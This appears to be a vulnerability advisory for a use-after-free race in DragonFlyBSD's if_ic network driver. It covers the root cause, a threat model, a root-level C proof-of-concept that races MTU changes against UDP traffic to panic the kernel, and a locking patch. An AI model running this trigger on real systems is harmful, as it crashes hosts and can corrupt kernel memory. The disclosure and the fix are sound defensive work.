• File: sys/dev/netif/ic/if_ic.c
• Lines: 205–223 (MTU swap-and-free), 347–401 (TX path), 253–329 (RX path)
• Severity: Medium
• CVSS 3.1: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U:C:N/I:H/A:H
• CWE: CWE-367 Time-of-check Time-of-use (TOCTOU) race condition, CWE-416 Use After Free
• Confidence: likely
• Status: new

Summary

icioctl's SIOCSIFMTU handler atomically re-points sc->ic_obuf and sc->ic_ifbuf at freshly-allocated buffers and then kfrees the old ones (if_ic.c:205-223).

It is wrapped by ifnet_serialize_all(ifp) at the central layer (sys/net/if.c:2276-2278), but neither icoutput nor icintr takes that serializer:

• ip_output calls ifp->if_output directly without the serializer (sys/netinet/ip_output.c:698,742); icoutput only enters a per-CPU crit section (if_ic.c:349).
• icintr runs from the PCF i2c-controller hardware interrupt (pcf.c:412...475 → iiconf.c:44-54 → icintr) under crit_enter only (if_ic.c:261).

crit_enter is per-CPU and does not block another CPU executing icioctl. A concurrent CPU therefore holds a stale pointer (cp = sc->ic_obuf + ICHDRLEN captured at if_ic.c:360 inside crit, or sc->ic_cp = sc->ic_ifbuf captured at if_ic.c:267) into the buffer that SIOCSIFMTU then kfrees at if_ic.c:217/220.

Subsequent bcopy at line 370 (TX) or *sc->ic_cp++ = *ptr at line 309 (RX) writes into freed M_DEVBUF memory: a kernel heap use-after-free write.

Realistic outcome is kernel panic; with slab grooming the freed slot can be re-used by another kernel object and the stale write corrupts it (potential code-exec primitive).

Root cause

SIOCSIFMTU handler (if_ic.c:205-223):

iptr = sc->ic_ifbuf;
optr = sc->ic_obuf;
sc->ic_ifbuf = kmalloc(...);
sc->ic_obuf  = kmalloc(...);
kfree(iptr);
kfree(optr);

No synchronization whatsoever against the two paths that already dereference sc->ic_obuf and sc->ic_ifbuf.

• icoutput (line 360) captures cp = sc->ic_obuf + ICHDRLEN and then writes via bcopy(mtod(mm,char *), cp, mm->m_len) at line 370 inside crit_enter (line 349), but crit_enter at sys/thread2.h only blocks preempt/interrupts on the local CPU; it does not block icioctl running on another CPU and does not block the PCF hardware interrupt if it is routed elsewhere.
• icintr (line 267) captures sc->ic_cp = sc->ic_ifbuf and writes *sc->ic_cp++ = *ptr at line 309, again under crit_enter (line 261) only.

The central ifioctl at sys/net/if.c:2276-2278 wraps icioctl in ifnet_serialize_all(ifp), but the default embedded serializer (sys/net/if.c:539-543, taken because icattach passes NULL to if_attach at if_ic.c:146) is NOT acquired by icoutput or icintr, so it provides no mutual exclusion here.

Threat model

Attacker position: local attacker with root (or any principal holding SYSCAP_RESTRICTEDROOT) on a host that loads if_ic and brings an ic(4) interface up.

Trigger: run a tight loop of ifconfig ic0 mtu N interleaved with ifconfig ic0 mtu M while another principal (or the same) floods traffic via a raw or UDP socket bound to ic0.

The race window between sc->ic_obuf reassignment (line 211/214) and kfree(optr) (line 220) is small but repeatedly winnable under load.

The freed M_DEVBUF chunk gets returned to the slab allocator and may be reused by another subsystem before the racing icoutput/icintr writes through the stale cp/ic_cp; the write is fully attacker-controlled in size (mm->m_len up to if_mtu, attacker-supplied payload) and contents.

Impact: kernel heap corruption (panic, local DoS) to, with grooming, an arbitrary kernel write primitive.

CVSS reflects local, high-complexity, high-privilege, high impact on integrity/availability.

Proof of concept

/* Build on DragonFlyBSD guest: cc -O2 -o race race.c -lpthread */
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>

static volatile int stop = 0;

static void *mtu_thr(void *a) {
    (void)a;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr;
    memset(&ifr, 0, sizeof ifr);
    strncpy(ifr.ifr_name, "ic0", IFNAMSIZ);
    while (!stop) {
        ifr.ifr_mtu = 72;
        ioctl(s, SIOCSIFMTU, &ifr);
        ifr.ifr_mtu = 1500;
        ioctl(s, SIOCSIFMTU, &ifr);
    }
    return 0;
}

static void *tx_thr(void *a) {
    (void)a;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct sockaddr_in d;
    memset(&d, 0, sizeof d);
    d.sin_family = AF_INET;
    d.sin_addr.s_addr = htonl(0x0a000002);
    char buf[1400];
    memset(buf, 'A', sizeof buf);
    while (!stop)
        sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&d, sizeof d);
    return 0;
}

int main(void) {
    pthread_t t[2];
    pthread_create(&t[0], 0, mtu_thr, 0);
    pthread_create(&t[1], 0, tx_thr, 0);
    sleep(60);
    stop = 1;
    pthread_join(t[0], 0);
    pthread_join(t[1], 0);
    return 0;
}

Run as root on a DragonFlyBSD host where ic0 is plumbed (ifconfig ic0 inet 10.0.0.1 10.0.0.2 up) and a peer (or local loopback of the i2c slave) is available.

Expected outcome within seconds-to-minutes: kernel panic from dangling write (e.g., "Fatal trap 12: page fault while in kernel mode" writing to a freed M_DEVBUF address), or visible slab corruption in dmesg / INVARIANTS panic.

Variance is high; loop until panic.

The PoC materializes the race even if root-only; on a system where MTU changes are driven by a network-management daemon reacting to user-controlled events, the trigger can be influenced by an unprivileged user.

Recommended fix

Serialize SIOCSIFMTU (and SIOCSIFFLAGS UP/DOWN) against icoutput and icintr with the same lock both TX and RX take, and free the old buffers only after that lock is held. The minimal correct fix is to (a) acquire the existing per-CPU crit section AND block interrupts on the iicbus controller side, OR (b) introduce a token/serializer in ic_softc that icoutput, icintr, and icioctl all take before touching ic_obuf/ic_ifbuf/ic_cp, and perform the swap-and-free inside it.

Recommended (b):

--- a/sys/dev/netif/ic/if_ic.c
+++ b/sys/dev/netif/ic/if_ic.c
@@ -71,6 +71,8 @@ struct ic_softc {
    int ic_xfercnt;

    int ic_iferrs;
+
+   struct lwkt_token ic_tok;   /* protects ic_obuf, ic_ifbuf, ic_cp */
 };

@@ -130,6 +132,8 @@ icattach(device_t dev)
    struct ic_softc *sc = (struct ic_softc *)device_get_softc(dev);
    struct ifnet *ifp = &sc->ic_if;

+   lwkt_token_init(&sc->ic_tok, "ic");
+
    sc->ic_addr = PCF_MASTER_ADDRESS;   /* XXX only PCF masters */

@@ -205,11 +209,16 @@ icioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)
     case SIOCSIFMTU:
+   lwkt_gettoken(&sc->ic_tok);
    /* save previous buffers */
    iptr = sc->ic_ifbuf;
    optr = sc->ic_obuf;

-   /* allocate input buffer */
-   sc->ic_ifbuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK);
+   /* allocate input buffer; M_WAITOK drops the token while sleeping */
+   sc->ic_ifbuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK|M_NULLOK);
+   if (sc->ic_ifbuf == NULL) { sc->ic_ifbuf = iptr; iptr = NULL; lwkt_reltoken(&sc->ic_tok); return ENOMEM; }

-   /* allocate output buffer */
-   sc->ic_obuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK);
+   sc->ic_obuf = kmalloc(ifr->ifr_mtu+ICHDRLEN, M_DEVBUF, M_WAITOK|M_NULLOK);
+   if (sc->ic_obuf == NULL) { kfree(sc->ic_ifbuf, M_DEVBUF); sc->ic_ifbuf = iptr; sc->ic_obuf = optr; optr = NULL; iptr = NULL; lwkt_reltoken(&sc->ic_tok); return ENOMEM; }

    if (iptr)
        kfree(iptr,M_DEVBUF);
@@ -222,6 +231,7 @@ icioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)

    sc->ic_if.if_mtu = ifr->ifr_mtu;
+   lwkt_reltoken(&sc->ic_tok);
    break;

@@ -258,6 +268,7 @@ icintr (device_t dev, int event, char *ptr)
    struct mbuf *top;

    crit_enter();
+   lwkt_gettoken(&sc->ic_tok);
@@ -329,6 +340,8 @@ icintr (device_t dev, int event, char *ptr)
    }

+   lwkt_reltoken(&sc->ic_tok);
    crit_exit();
 }
@@ -349,6 +362,7 @@ icoutput(struct ifnet *ifp, struct mbuf *m,
    ifp->if_flags |= IFF_RUNNING;

    crit_enter();
+   lwkt_gettoken(&sc->ic_tok);

    /* already sending? */
    if (sc->ic_sending) {
@@ -401,6 +415,7 @@ error:
    m_freem(m);
+   lwkt_reltoken(&sc->ic_tok);
    crit_exit();

    return(0);

The exact token style should match the driver's locking conventions, but the key requirement is: every read or write of sc->ic_obuf, sc->ic_ifbuf, sc->ic_cp, or sc->ic_xfercnt must occur under the same lock taken by icoutput, icintr, AND icioctl(SIOCSIFMTU/SIOCSIFFLAGS).

References

• sys/dev/netif/ic/if_ic.c:205-223 — SIOCSIFMTU swap-and-free without lock
• sys/dev/netif/ic/if_ic.c:347-401 — icoutput (TX) uses crit_enter only
• sys/dev/netif/ic/if_ic.c:253-329 — icintr (RX) uses crit_enter only
• sys/netinet/ip_output.c:698,742 — ip_output calls if_output without serializer
• sys/net/if.c:2276-2278 — central ifioctl wraps if_ioctl in serializer that TX/RX don't take